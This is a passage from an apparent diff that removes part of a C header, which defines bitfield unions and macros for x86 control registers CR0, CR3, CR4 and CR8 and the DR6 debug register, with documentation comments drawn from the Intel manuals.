reserved and must be 0. - * - The MOV CRn instructions do not check that addresses written to CR2 and CR3 are within the linear-address or - * physical-address limitations of the implementation. - * - Register CR8 is available in 64-bit mode only. The control registers are summarized below, and each architecturally - * defined control field in these control registers is described individually. - * - CR0 - Contains system control flags that control operating mode and states of the processor. - * - CR1 - Reserved. - * - CR2 - Contains the page-fault linear address (the linear address that caused a page fault). - * - CR3 - Contains the physical address of the base of the paging-structure hierarchy and two flags (PCD and PWT). Only - * the most-significant bits (less the lower 12 bits) of the base address are specified; the lower 12 bits of the address - * are assumed to be 0. The first paging structure must thus be aligned to a page (4-KByte) boundary. The PCD and PWT flags - * control caching of that paging structure in the processor's internal data caches (they do not control TLB caching of - * page-directory information). When using the physical address extension, the CR3 register contains the base address of - * the page-directorypointer table. In IA-32e mode, the CR3 register contains the base address of the PML4 table. - * - CR4 - Contains a group of flags that enable several architectural extensions, and indicate operating system or - * executive support for specific processor capabilities. - * - CR8 - Provides read and write access to the Task Priority Register (TPR). It specifies the priority threshold value - * that operating systems use to control the priority class of external interrupts allowed to interrupt the processor. This - * register is available only in 64-bit mode. However, interrupt filtering continues to apply in compatibility mode. - * - * @see Vol3A[2.5(CONTROL REGISTERS)] (reference) - * @{ - */ -typedef union -{ - struct - { - /** - * @brief Protection Enable - * - * [Bit 0] Enables protected mode when set; enables real-address mode when clear. This flag does not enable paging - * directly. It only enables segment-level protection. To enable paging, both the PE and PG flags must be set. - * - * @see Vol3A[9.9(Mode Switching)] - */ - uint64_t protection_enable : 1; -#define CR0_PROTECTION_ENABLE_BIT 0 -#define CR0_PROTECTION_ENABLE_FLAG 0x01 -#define CR0_PROTECTION_ENABLE_MASK 0x01 -#define CR0_PROTECTION_ENABLE(_) (((_) >> 0) & 0x01) - - /** - * @brief Monitor Coprocessor - * - * [Bit 1] Controls the interaction of the WAIT (or FWAIT) instruction with the TS flag (bit 3 of CR0). If the MP flag is - * set, a WAIT instruction generates a device-not-available exception (\#NM) if the TS flag is also set. If the MP flag is - * clear, the WAIT instruction ignores the setting of the TS flag. - */ - uint64_t monitor_coprocessor : 1; -#define CR0_MONITOR_COPROCESSOR_BIT 1 -#define CR0_MONITOR_COPROCESSOR_FLAG 0x02 -#define CR0_MONITOR_COPROCESSOR_MASK 0x01 -#define CR0_MONITOR_COPROCESSOR(_) (((_) >> 1) & 0x01) - - /** - * @brief FPU Emulation - * - * [Bit 2] Indicates that the processor does not have an internal or external x87 FPU when set; indicates an x87 FPU is - * present when clear. This flag also affects the execution of MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instructions. - * When the EM flag is set, execution of an x87 FPU instruction generates a device-not-available exception (\#NM). This - * flag must be set when the processor does not have an internal x87 FPU or is not connected to an external math - * coprocessor. Setting this flag forces all floating-point instructions to be handled by software emulation. - * Also, when the EM flag is set, execution of an MMX instruction causes an invalid-opcode exception (\#UD) to be - * generated. Thus, if an IA-32 or Intel 64 processor incorporates MMX technology, the EM flag must be set to 0 to enable - * execution of MMX instructions. Similarly for SSE/SSE2/SSE3/SSSE3/SSE4 extensions, when the EM flag is set, execution of - * most SSE/SSE2/SSE3/SSSE3/SSE4 instructions causes an invalid opcode exception (\#UD) to be generated. If an IA-32 or - * Intel 64 processor incorporates the SSE/SSE2/SSE3/SSSE3/SSE4 extensions, the EM flag must be set to 0 to enable - * execution of these extensions. SSE/SSE2/SSE3/SSSE3/SSE4 instructions not affected by the EM flag include: PAUSE, - * PREFETCHh, SFENCE, LFENCE, MFENCE, MOVNTI, CLFLUSH, CRC32, and POPCNT. - */ - uint64_t emulate_fpu : 1; -#define CR0_EMULATE_FPU_BIT 2 -#define CR0_EMULATE_FPU_FLAG 0x04 -#define CR0_EMULATE_FPU_MASK 0x01 -#define CR0_EMULATE_FPU(_) (((_) >> 2) & 0x01) - - /** - * @brief Task Switched - * - * [Bit 3] Allows the saving of the x87 FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 context on a task switch to be delayed until an - * x87 FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instruction is actually executed by the new task. The processor sets this flag on - * every task switch and tests it when executing x87 FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instructions. - * - If the TS flag is set and the EM flag (bit 2 of CR0) is clear, a device-not-available exception (\#NM) is raised prior - * to the execution of any x87 FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instruction; with the exception of PAUSE, PREFETCHh, - * SFENCE, LFENCE, MFENCE, MOVNTI, CLFLUSH, CRC32, and POPCNT. - * - If the TS flag is set and the MP flag (bit 1 of CR0) and EM flag are clear, an \#NM exception is not raised prior to - * the execution of an x87 FPU WAIT/FWAIT instruction. - * - If the EM flag is set, the setting of the TS flag has no effect on the execution of x87 - * FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instructions. - * The processor does not automatically save the context of the x87 FPU, XMM, and MXCSR registers on a task switch. - * Instead, it sets the TS flag, which causes the processor to raise an \#NM exception whenever it encounters an x87 - * FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instruction in the instruction stream for the new task (with the exception of the - * instructions listed above). - * The fault handler for the \#NM exception can then be used to clear the TS flag (with the CLTS instruction) and save - * the context of the x87 FPU, XMM, and MXCSR registers. If the task never encounters an x87 - * FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 instruction, the x87 FPU/MMX/SSE/SSE2/SSE3/SSSE3/SSE4 context is never saved. - */ - uint64_t task_switched : 1; -#define CR0_TASK_SWITCHED_BIT 3 -#define CR0_TASK_SWITCHED_FLAG 0x08 -#define CR0_TASK_SWITCHED_MASK 0x01 -#define CR0_TASK_SWITCHED(_) (((_) >> 3) & 0x01) - - /** - * @brief Extension Type - * - * [Bit 4] Reserved in the Pentium 4, Intel Xeon, P6 family, and Pentium processors. In the Pentium 4, Intel Xeon, and P6 - * family processors, this flag is hardcoded to 1. In the Intel386 and Intel486 processors, this flag indicates support of - * Intel 387 DX math coprocessor instructions when set. - */ - uint64_t extension_type : 1; -#define CR0_EXTENSION_TYPE_BIT 4 -#define CR0_EXTENSION_TYPE_FLAG 0x10 -#define CR0_EXTENSION_TYPE_MASK 0x01 -#define CR0_EXTENSION_TYPE(_) (((_) >> 4) & 0x01) - - /** - * @brief Numeric Error - * - * [Bit 5] Enables the native (internal) mechanism for reporting x87 FPU errors when set; enables the PC-style x87 FPU - * error reporting mechanism when clear. When the NE flag is clear and the IGNNE\# input is asserted, x87 FPU errors are - * ignored. When the NE flag is clear and the IGNNE\# input is deasserted, an unmasked x87 FPU error causes the processor - * to assert the FERR\# pin to generate an external interrupt and to stop instruction execution immediately before - * executing the next waiting floating-point instruction or WAIT/FWAIT instruction. - * The FERR\# pin is intended to drive an input to an external interrupt controller (the FERR\# pin emulates the ERROR\# - * pin of the Intel 287 and Intel 387 DX math coprocessors). The NE flag, IGNNE\# pin, and FERR\# pin are used with - * external logic to implement PC-style error reporting. Using FERR\# and IGNNE\# to handle floating-point exceptions is - * deprecated by modern operating systems; this non-native approach also limits newer processors to operate with one - * logical processor active. - * - * @see Vol1[8.7(Handling x87 FPU Exceptions in Software)] - * @see Vol1[A.1(APPENDIX A | EFLAGS Cross-Reference)] - */ - uint64_t numeric_error : 1; -#define CR0_NUMERIC_ERROR_BIT 5 -#define CR0_NUMERIC_ERROR_FLAG 0x20 -#define CR0_NUMERIC_ERROR_MASK 0x01 -#define CR0_NUMERIC_ERROR(_) (((_) >> 5) & 0x01) - uint64_t reserved1 : 10; - - /** - * @brief Write Protect - * - * [Bit 16] When set, inhibits supervisor-level procedures from writing into readonly pages; when clear, allows - * supervisor-level procedures to write into read-only pages (regardless of the U/S bit setting). This flag facilitates - * implementation of the copy-onwrite method of creating a new process (forking) used by operating systems such as UNIX. - * - * @see Vol3A[4.1.3(Paging-Mode Modifiers)] - * @see Vol3A[4.6(ACCESS RIGHTS)] - */ - uint64_t write_protect : 1; -#define CR0_WRITE_PROTECT_BIT 16 -#define CR0_WRITE_PROTECT_FLAG 0x10000 -#define CR0_WRITE_PROTECT_MASK 0x01 -#define CR0_WRITE_PROTECT(_) (((_) >> 16) & 0x01) - uint64_t reserved2 : 1; - - /** - * @brief Alignment Mask - * - * [Bit 18] Enables automatic alignment checking when set; disables alignment checking when clear. Alignment checking is - * performed only when the AM flag is set, the AC flag in the EFLAGS register is set, CPL is 3, and the processor is - * operating in either protected or virtual-8086 mode. - */ - uint64_t alignment_mask : 1; -#define CR0_ALIGNMENT_MASK_BIT 18 -#define CR0_ALIGNMENT_MASK_FLAG 0x40000 -#define CR0_ALIGNMENT_MASK_MASK 0x01 -#define CR0_ALIGNMENT_MASK(_) (((_) >> 18) & 0x01) - uint64_t reserved3 : 10; - - /** - * @brief Not Write-through - * - * [Bit 29] When the NW and CD flags are clear, write-back (for Pentium 4, Intel Xeon, P6 family, and Pentium processors) - * or write-through (for Intel486 processors) is enabled for writes that hit the cache and invalidation cycles are enabled. - */ - uint64_t not_write_through : 1; -#define CR0_NOT_WRITE_THROUGH_BIT 29 -#define CR0_NOT_WRITE_THROUGH_FLAG 0x20000000 -#define CR0_NOT_WRITE_THROUGH_MASK 0x01 -#define CR0_NOT_WRITE_THROUGH(_) (((_) >> 29) & 0x01) - - /** - * @brief Cache Disable - * - * [Bit 30] When the CD and NW flags are clear, caching of memory locations for the whole of physical memory in the - * processor's internal (and external) caches is enabled. When the CD flag is set, caching is restricted. To prevent the - * processor from accessing and updating its caches, the CD flag must be set and the caches must be invalidated so that no - * cache hits can occur. - * - * @see Vol3A[11.5.3(Preventing Caching)] - * @see Vol3A[11.5(CACHE CONTROL)] - */ - uint64_t cache_disable : 1; -#define CR0_CACHE_DISABLE_BIT 30 -#define CR0_CACHE_DISABLE_FLAG 0x40000000 -#define CR0_CACHE_DISABLE_MASK 0x01 -#define CR0_CACHE_DISABLE(_) (((_) >> 30) & 0x01) - - /** - * @brief Paging Enable - * - * [Bit 31] Enables paging when set; disables paging when clear. When paging is disabled, all linear addresses are treated - * as physical addresses. The PG flag has no effect if the PE flag (bit 0 of register CR0) is not also set; setting the PG - * flag when the PE flag is clear causes a general-protection exception (\#GP). - * On Intel 64 processors, enabling and disabling IA-32e mode operation also requires modifying CR0.PG. - * - * @see Vol3A[4(PAGING)] - */ - uint64_t paging_enable : 1; -#define CR0_PAGING_ENABLE_BIT 31 -#define CR0_PAGING_ENABLE_FLAG 0x80000000 -#define CR0_PAGING_ENABLE_MASK 0x01 -#define CR0_PAGING_ENABLE(_) (((_) >> 31) & 0x01) - uint64_t reserved4 : 32; - }; - - uint64_t flags; -} cr0; - -typedef union -{ - struct - { - uint64_t reserved1 : 3; - - /** - * @brief Page-level Write-Through - * - * [Bit 3] Controls the memory type used to access the first paging structure of the current paging-structure hierarchy. - * This bit is not used if paging is disabled, with PAE paging, or with 4-level paging if CR4.PCIDE=1. - * - * @see Vol3A[4.9(PAGING AND MEMORY TYPING)] - */ - uint64_t page_level_write_through : 1; -#define CR3_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define CR3_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define CR3_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define CR3_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - - /** - * @brief Page-level Cache Disable - * - * [Bit 4] Controls the memory type used to access the first paging structure of the current paging-structure hierarchy. - * This bit is not used if paging is disabled, with PAE paging, or with 4-level paging2 if CR4.PCIDE=1. - * - * @see Vol3A[4.9(PAGING AND MEMORY TYPING)] - */ - uint64_t page_level_cache_disable : 1; -#define CR3_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define CR3_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define CR3_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define CR3_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - uint64_t reserved2 : 7; - - /** - * @brief Address of page directory - * - * [Bits 47:12] Physical address of the 4-KByte aligned page directory (32-bit paging) or PML4 table (64-bit paging) used - * for linear-address translation. - * - * @see Vol3A[4.3(32-BIT PAGING)] - * @see Vol3A[4.5(4-LEVEL PAGING)] - */ - uint64_t address_of_page_directory : 36; -#define CR3_ADDRESS_OF_PAGE_DIRECTORY_BIT 12 -#define CR3_ADDRESS_OF_PAGE_DIRECTORY_FLAG 0xFFFFFFFFF000 -#define CR3_ADDRESS_OF_PAGE_DIRECTORY_MASK 0xFFFFFFFFF -#define CR3_ADDRESS_OF_PAGE_DIRECTORY(_) (((_) >> 12) & 0xFFFFFFFFF) - uint64_t reserved3 : 16; - }; - - uint64_t flags; -} cr3; - -typedef union -{ - struct - { - /** - * @brief Virtual-8086 Mode Extensions - * - * [Bit 0] Enables interrupt- and exception-handling extensions in virtual-8086 mode when set; disables the extensions when - * clear. Use of the virtual mode extensions can improve the performance of virtual-8086 applications by eliminating the - * overhead of calling the virtual- 8086 monitor to handle interrupts and exceptions that occur while executing an 8086 - * program and, instead, redirecting the interrupts and exceptions back to the 8086 program's handlers. It also provides - * hardware support for a virtual interrupt flag (VIF) to improve reliability of running 8086 programs in multitasking and - * multiple-processor environments. - * - * @see Vol3B[20.3(INTERRUPT AND EXCEPTION HANDLING IN VIRTUAL-8086 MODE)] - */ - uint64_t virtual_mode_extensions : 1; -#define CR4_VIRTUAL_MODE_EXTENSIONS_BIT 0 -#define CR4_VIRTUAL_MODE_EXTENSIONS_FLAG 0x01 -#define CR4_VIRTUAL_MODE_EXTENSIONS_MASK 0x01 -#define CR4_VIRTUAL_MODE_EXTENSIONS(_) (((_) >> 0) & 0x01) - - /** - * @brief Protected-Mode Virtual Interrupts - * - * [Bit 1] Enables hardware support for a virtual interrupt flag (VIF) in protected mode when set; disables the VIF flag in - * protected mode when clear. - * - * @see Vol3B[20.4(PROTECTED-MODE VIRTUAL INTERRUPTS)] - */ - uint64_t protected_mode_virtual_interrupts : 1; -#define CR4_PROTECTED_MODE_VIRTUAL_INTERRUPTS_BIT 1 -#define CR4_PROTECTED_MODE_VIRTUAL_INTERRUPTS_FLAG 0x02 -#define CR4_PROTECTED_MODE_VIRTUAL_INTERRUPTS_MASK 0x01 -#define CR4_PROTECTED_MODE_VIRTUAL_INTERRUPTS(_) (((_) >> 1) & 0x01) - - /** - * @brief Time Stamp Disable - * - * [Bit 2] Restricts the execution of the RDTSC instruction to procedures running at privilege level 0 when set; allows - * RDTSC instruction to be executed at any privilege level when clear. This bit also applies to the RDTSCP instruction if - * supported (if CPUID.80000001H:EDX[27] = 1). - */ - uint64_t timestamp_disable : 1; -#define CR4_TIMESTAMP_DISABLE_BIT 2 -#define CR4_TIMESTAMP_DISABLE_FLAG 0x04 -#define CR4_TIMESTAMP_DISABLE_MASK 0x01 -#define CR4_TIMESTAMP_DISABLE(_) (((_) >> 2) & 0x01) - - /** - * @brief Debugging Extensions - * - * [Bit 3] References to debug registers DR4 and DR5 cause an undefined opcode (\#UD) exception to be generated when set; - * when clear, processor aliases references to registers DR4 and DR5 for compatibility with software written to run on - * earlier IA-32 processors. - * - * @see Vol3B[17.2.2(Debug Registers DR4 and DR5)] - */ - uint64_t debugging_extensions : 1; -#define CR4_DEBUGGING_EXTENSIONS_BIT 3 -#define CR4_DEBUGGING_EXTENSIONS_FLAG 0x08 -#define CR4_DEBUGGING_EXTENSIONS_MASK 0x01 -#define CR4_DEBUGGING_EXTENSIONS(_) (((_) >> 3) & 0x01) - - /** - * @brief Page Size Extensions - * - * [Bit 4] Enables 4-MByte pages with 32-bit paging when set; restricts 32-bit paging to pages of 4 KBytes when clear. - * - * @see Vol3A[4.3(32-BIT PAGING)] - */ - uint64_t page_size_extensions : 1; -#define CR4_PAGE_SIZE_EXTENSIONS_BIT 4 -#define CR4_PAGE_SIZE_EXTENSIONS_FLAG 0x10 -#define CR4_PAGE_SIZE_EXTENSIONS_MASK 0x01 -#define CR4_PAGE_SIZE_EXTENSIONS(_) (((_) >> 4) & 0x01) - - /** - * @brief Physical Address Extension - * - * [Bit 5] When set, enables paging to produce physical addresses with more than 32 bits. When clear, restricts physical - * addresses to 32 bits. PAE must be set before entering IA-32e mode. - * - * @see Vol3A[4(PAGING)] - */ - uint64_t physical_address_extension : 1; -#define CR4_PHYSICAL_ADDRESS_EXTENSION_BIT 5 -#define CR4_PHYSICAL_ADDRESS_EXTENSION_FLAG 0x20 -#define CR4_PHYSICAL_ADDRESS_EXTENSION_MASK 0x01 -#define CR4_PHYSICAL_ADDRESS_EXTENSION(_) (((_) >> 5) & 0x01) - - /** - * @brief Machine-Check Enable - * - * [Bit 6] Enables the machine-check exception when set; disables the machine-check exception when clear. - * - * @see Vol3B[15(MACHINE-CHECK ARCHITECTURE)] - */ - uint64_t machine_check_enable : 1; -#define CR4_MACHINE_CHECK_ENABLE_BIT 6 -#define CR4_MACHINE_CHECK_ENABLE_FLAG 0x40 -#define CR4_MACHINE_CHECK_ENABLE_MASK 0x01 -#define CR4_MACHINE_CHECK_ENABLE(_) (((_) >> 6) & 0x01) - - /** - * @brief Page Global Enable - * - * [Bit 7] (Introduced in the P6 family processors.) Enables the global page feature when set; disables the global page - * feature when clear. The global page feature allows frequently used or shared pages to be marked as global to all users - * (done with the global flag, bit 8, in a page-directory or page-table entry). Global pages are not flushed from the - * translation-lookaside buffer (TLB) on a task switch or a write to register CR3. When enabling the global page feature, - * paging must be enabled (by setting the PG flag in control register CR0) before the PGE flag is set. Reversing this - * sequence may affect program correctness, and processor performance will be impacted. - * - * @see Vol3A[4.10(CACHING TRANSLATION INFORMATION)] - */ - uint64_t page_global_enable : 1; -#define CR4_PAGE_GLOBAL_ENABLE_BIT 7 -#define CR4_PAGE_GLOBAL_ENABLE_FLAG 0x80 -#define CR4_PAGE_GLOBAL_ENABLE_MASK 0x01 -#define CR4_PAGE_GLOBAL_ENABLE(_) (((_) >> 7) & 0x01) - - /** - * @brief Performance-Monitoring Counter Enable - * - * [Bit 8] Enables execution of the RDPMC instruction for programs or procedures running at any protection level when set; - * RDPMC instruction can be executed only at protection level 0 when clear. - */ - uint64_t performance_monitoring_counter_enable : 1; -#define CR4_PERFORMANCE_MONITORING_COUNTER_ENABLE_BIT 8 -#define CR4_PERFORMANCE_MONITORING_COUNTER_ENABLE_FLAG 0x100 -#define CR4_PERFORMANCE_MONITORING_COUNTER_ENABLE_MASK 0x01 -#define CR4_PERFORMANCE_MONITORING_COUNTER_ENABLE(_) (((_) >> 8) & 0x01) - - /** - * @brief Operating System Support for FXSAVE and FXRSTOR instructions - * - * [Bit 9] When set, this flag: - * -# indicates to software that the operating system supports the use of the FXSAVE and FXRSTOR instructions, - * -# enables the FXSAVE and FXRSTOR instructions to save and restore the contents of the XMM and MXCSR registers along - * with the contents of the x87 FPU and MMX registers, and - * -# enables the processor to execute SSE/SSE2/SSE3/SSSE3/SSE4 instructions, with the exception of the PAUSE, PREFETCHh, - * SFENCE, LFENCE, MFENCE, MOVNTI, CLFLUSH, CRC32, and POPCNT. - * If this flag is clear, the FXSAVE and FXRSTOR instructions will save and restore the contents of the x87 FPU and MMX - * registers, but they may not save and restore the contents of the XMM and MXCSR registers. Also, the processor will - * generate an invalid opcode exception (\#UD) if it attempts to execute any SSE/SSE2/SSE3 instruction, with the exception - * of PAUSE, PREFETCHh, SFENCE, LFENCE, MFENCE, MOVNTI, CLFLUSH, CRC32, and POPCNT. The operating system or executive must - * explicitly set this flag. - * - * @remarks CPUID feature flag FXSR indicates availability of the FXSAVE/FXRSTOR instructions. The OSFXSR bit provides - * operating system software with a means of enabling FXSAVE/FXRSTOR to save/restore the contents of the X87 FPU, XMM and - * MXCSR registers. Consequently OSFXSR bit indicates that the operating system provides context switch support for - * SSE/SSE2/SSE3/SSSE3/SSE4. - */ - uint64_t os_fxsave_fxrstor_support : 1; -#define CR4_OS_FXSAVE_FXRSTOR_SUPPORT_BIT 9 -#define CR4_OS_FXSAVE_FXRSTOR_SUPPORT_FLAG 0x200 -#define CR4_OS_FXSAVE_FXRSTOR_SUPPORT_MASK 0x01 -#define CR4_OS_FXSAVE_FXRSTOR_SUPPORT(_) (((_) >> 9) & 0x01) - - /** - * @brief Operating System Support for Unmasked SIMD Floating-Point Exceptions - * - * [Bit 10] Operating System Support for Unmasked SIMD Floating-Point Exceptions - When set, indicates that the operating - * system supports the handling of unmasked SIMD floating-point exceptions through an exception handler that is invoked - * when a SIMD floating-point exception (\#XM) is generated. SIMD floating-point exceptions are only generated by - * SSE/SSE2/SSE3/SSE4.1 SIMD floatingpoint instructions. - * The operating system or executive must explicitly set this flag. If this flag is not set, the processor will generate an - * invalid opcode exception (\#UD) whenever it detects an unmasked SIMD floating-point exception. - */ - uint64_t os_xmm_exception_support : 1; -#define CR4_OS_XMM_EXCEPTION_SUPPORT_BIT 10 -#define CR4_OS_XMM_EXCEPTION_SUPPORT_FLAG 0x400 -#define CR4_OS_XMM_EXCEPTION_SUPPORT_MASK 0x01 -#define CR4_OS_XMM_EXCEPTION_SUPPORT(_) (((_) >> 10) & 0x01) - - /** - * @brief User-Mode Instruction Prevention - * - * [Bit 11] When set, the following instructions cannot be executed if CPL > 0: SGDT, SIDT, SLDT, SMSW, and STR. An attempt - * at such execution causes a generalprotection exception (\#GP). - */ - uint64_t usermode_instruction_prevention : 1; -#define CR4_USERMODE_INSTRUCTION_PREVENTION_BIT 11 -#define CR4_USERMODE_INSTRUCTION_PREVENTION_FLAG 0x800 -#define CR4_USERMODE_INSTRUCTION_PREVENTION_MASK 0x01 -#define CR4_USERMODE_INSTRUCTION_PREVENTION(_) (((_) >> 11) & 0x01) - uint64_t reserved1 : 1; - - /** - * @brief VMX-Enable - * - * [Bit 13] Enables VMX operation when set. - * - * @see Vol3C[23(INTRODUCTION TO VIRTUAL MACHINE EXTENSIONS)] - */ - uint64_t vmx_enable : 1; -#define CR4_VMX_ENABLE_BIT 13 -#define CR4_VMX_ENABLE_FLAG 0x2000 -#define CR4_VMX_ENABLE_MASK 0x01 -#define CR4_VMX_ENABLE(_) (((_) >> 13) & 0x01) - - /** - * @brief SMX-Enable - * - * [Bit 14] Enables SMX operation when set. - * - * @see Vol2[6(SAFER MODE EXTENSIONS REFERENCE)] - */ - uint64_t smx_enable : 1; -#define CR4_SMX_ENABLE_BIT 14 -#define CR4_SMX_ENABLE_FLAG 0x4000 -#define CR4_SMX_ENABLE_MASK 0x01 -#define CR4_SMX_ENABLE(_) (((_) >> 14) & 0x01) - uint64_t reserved2 : 1; - - /** - * @brief FSGSBASE-Enable - * - * [Bit 16] Enables the instructions RDFSBASE, RDGSBASE, WRFSBASE, and WRGSBASE. - */ - uint64_t fsgsbase_enable : 1; -#define CR4_FSGSBASE_ENABLE_BIT 16 -#define CR4_FSGSBASE_ENABLE_FLAG 0x10000 -#define CR4_FSGSBASE_ENABLE_MASK 0x01 -#define CR4_FSGSBASE_ENABLE(_) (((_) >> 16) & 0x01) - - /** - * @brief PCID-Enable - * - * [Bit 17] Enables process-context identifiers (PCIDs) when set. Can be set only in IA-32e mode (if IA32_EFER.LMA = 1). - * - * @see Vol3A[4.10.1(Process-Context Identifiers (PCIDs))] - */ - uint64_t pcid_enable : 1; -#define CR4_PCID_ENABLE_BIT 17 -#define CR4_PCID_ENABLE_FLAG 0x20000 -#define CR4_PCID_ENABLE_MASK 0x01 -#define CR4_PCID_ENABLE(_) (((_) >> 17) & 0x01) - - /** - * @brief XSAVE and Processor Extended States-Enable - * - * [Bit 18] When set, this flag: - * -# indicates (via CPUID.01H:ECX.OSXSAVE[bit 27]) that the operating system supports the use of the XGETBV, XSAVE and - * XRSTOR instructions by general software; - * -# enables the XSAVE and XRSTOR instructions to save and restore the x87 FPU state (including MMX registers), the SSE - * state (XMM registers and MXCSR), along with other processor extended states enabled in XCR0; - * -# enables the processor to execute XGETBV and XSETBV instructions in order to read and write XCR0. - * - * @see Vol3A[2.6(EXTENDED CONTROL REGISTERS (INCLUDING XCR0))] - * @see Vol3A[13(SYSTEM PROGRAMMING FOR INSTRUCTION SET EXTENSIONS AND PROCESSOR EXTENDED)] - */ - uint64_t os_xsave : 1; -#define CR4_OS_XSAVE_BIT 18 -#define CR4_OS_XSAVE_FLAG 0x40000 -#define CR4_OS_XSAVE_MASK 0x01 -#define CR4_OS_XSAVE(_) (((_) >> 18) & 0x01) - uint64_t reserved3 : 1; - - /** - * @brief SMEP-Enable - * - * [Bit 20] Enables supervisor-mode execution prevention (SMEP) when set. - * - * @see Vol3A[4.6(ACCESS RIGHTS)] - */ - uint64_t smep_enable : 1; -#define CR4_SMEP_ENABLE_BIT 20 -#define CR4_SMEP_ENABLE_FLAG 0x100000 -#define CR4_SMEP_ENABLE_MASK 0x01 -#define CR4_SMEP_ENABLE(_) (((_) >> 20) & 0x01) - - /** - * @brief SMAP-Enable - * - * [Bit 21] Enables supervisor-mode access prevention (SMAP) when set. - * - * @see Vol3A[4.6(ACCESS RIGHTS)] - */ - uint64_t smap_enable : 1; -#define CR4_SMAP_ENABLE_BIT 21 -#define CR4_SMAP_ENABLE_FLAG 0x200000 -#define CR4_SMAP_ENABLE_MASK 0x01 -#define CR4_SMAP_ENABLE(_) (((_) >> 21) & 0x01) - - /** - * @brief Protection-Key-Enable - * - * [Bit 22] Enables 4-level paging to associate each linear address with a protection key. The PKRU register specifies, for - * each protection key, whether user-mode linear addresses with that protection key can be read or written. This bit also - * enables access to the PKRU register using the RDPKRU and WRPKRU instructions. - */ - uint64_t protection_key_enable : 1; -#define CR4_PROTECTION_KEY_ENABLE_BIT 22 -#define CR4_PROTECTION_KEY_ENABLE_FLAG 0x400000 -#define CR4_PROTECTION_KEY_ENABLE_MASK 0x01 -#define CR4_PROTECTION_KEY_ENABLE(_) (((_) >> 22) & 0x01) - uint64_t reserved4 : 41; - }; - - uint64_t flags; -} cr4; - -typedef union -{ - struct - { - /** - * @brief Task Priority Level - * - * [Bits 3:0] This sets the threshold value corresponding to the highestpriority interrupt to be blocked. A value of 0 - * means all interrupts are enabled. This field is available in 64- bit mode. A value of 15 means all interrupts will be - * disabled. - */ - uint64_t task_priority_level : 4; -#define CR8_TASK_PRIORITY_LEVEL_BIT 0 -#define CR8_TASK_PRIORITY_LEVEL_FLAG 0x0F -#define CR8_TASK_PRIORITY_LEVEL_MASK 0x0F -#define CR8_TASK_PRIORITY_LEVEL(_) (((_) >> 0) & 0x0F) - - /** - * @brief Reserved - * - * [Bits 63:4] Reserved and must be written with zeros. Failure to do this causes a general-protection exception. - */ - uint64_t reserved : 60; -#define CR8_RESERVED_BIT 4 -#define CR8_RESERVED_FLAG 0xFFFFFFFFFFFFFFF0 -#define CR8_RESERVED_MASK 0xFFFFFFFFFFFFFFF -#define CR8_RESERVED(_) (((_) >> 4) & 0xFFFFFFFFFFFFFFF) - }; - - uint64_t flags; -} cr8; - -/** - * @} - */ - - /** - * @defgroup debug_registers \ - * Debug registers - * - * Eight debug registers control the debug operation of the processor. These registers can be written to and read using the - * move to/from debug register form of the MOV instruction. A debug register may be the source or destination operand for - * one of these instructions. - * Debug registers are privileged resources; a MOV instruction that accesses these registers can only be executed in - * real-address mode, in SMM or in protected mode at a CPL of 0. An attempt to read or write the debug registers from any - * other privilege level generates a general-protection exception (\#GP). The primary function of the debug registers is to - * set up and monitor from 1 to 4 breakpoints, numbered 0 though 3. For each breakpoint, the following information can be - * specified: - * - The linear address where the breakpoint is to occur. - * - The length of the breakpoint location: 1, 2, 4, or 8 bytes. - * - The operation that must be performed at the address for a debug exception to be generated. - * - Whether the breakpoint is enabled. - * - Whether the breakpoint condition was present when the debug exception was generated. - * - * @see Vol3B[17.2.4(Debug Control Register (DR7))] - * @see Vol3B[17.2(DEBUG REGISTERS)] (reference) - * @{ - */ -typedef union -{ - struct - { - /** - * @brief B0 through B3 (breakpoint condition detected) flags - * - * [Bits 3:0] Indicates (when set) that its associated breakpoint condition was met when a debug exception was generated. - * These flags are set if the condition described for each breakpoint by the LENn, and R/Wn flags in debug control register - * DR7 is true. They may or may not be set if the breakpoint is not enabled by the Ln or the Gn flags in register DR7. - * Therefore on a \#DB, a debug handler should check only those B0-B3 bits which correspond to an enabled breakpoint. - */ - uint64_t breakpoint_condition : 4; -#define DR6_BREAKPOINT_CONDITION_BIT 0 -#define DR6_BREAKPOINT_CONDITION_FLAG 0x0F -#define DR6_BREAKPOINT_CONDITION_MASK 0x0F -#define DR6_BREAKPOINT_CONDITION(_) (((_) >> 0) & 0x0F) - uint64_t reserved1 : 9; - - /** - * @brief BD (debug register access detected) flag - * - * [Bit 13] Indicates that the next instruction in the instruction stream accesses one of the debug registers (DR0 through - * DR7). This flag is enabled when the GD (general detect) flag in debug control register DR7 is set. - * - * @see Vol3B[17.2.4(Debug Control Register (DR7))] - */ - uint64_t debug_register_access_detected : 1; -#define DR6_DEBUG_REGISTER_ACCESS_DETECTED_BIT 13 -#define DR6_DEBUG_REGISTER_ACCESS_DETECTED_FLAG 0x2000 -#define DR6_DEBUG_REGISTER_ACCESS_DETECTED_MASK 0x01 -#define DR6_DEBUG_REGISTER_ACCESS_DETECTED(_) (((_) >> 13) & 0x01) - - /** - * @brief BS (single step) flag - * - * [Bit 14] Indicates (when set) that the debug exception was triggered by the singlestep execution mode (enabled with the - * TF flag in the EFLAGS register). The single-step mode is the highestpriority debug exception. When the BS flag is set, - * any of the other debug status bits also may be set. - */ - uint64_t single_instruction : 1; -#define DR6_SINGLE_INSTRUCTION_BIT 14 -#define DR6_SINGLE_INSTRUCTION_FLAG 0x4000 -#define DR6_SINGLE_INSTRUCTION_MASK 0x01 -#define DR6_SINGLE_INSTRUCTION(_) (((_) >> 14) & 0x01) - - /** - * @brief BT (task switch) flag - * - * [Bit 15] Indicates (when set) that the debug exception was triggered by the singlestep execution 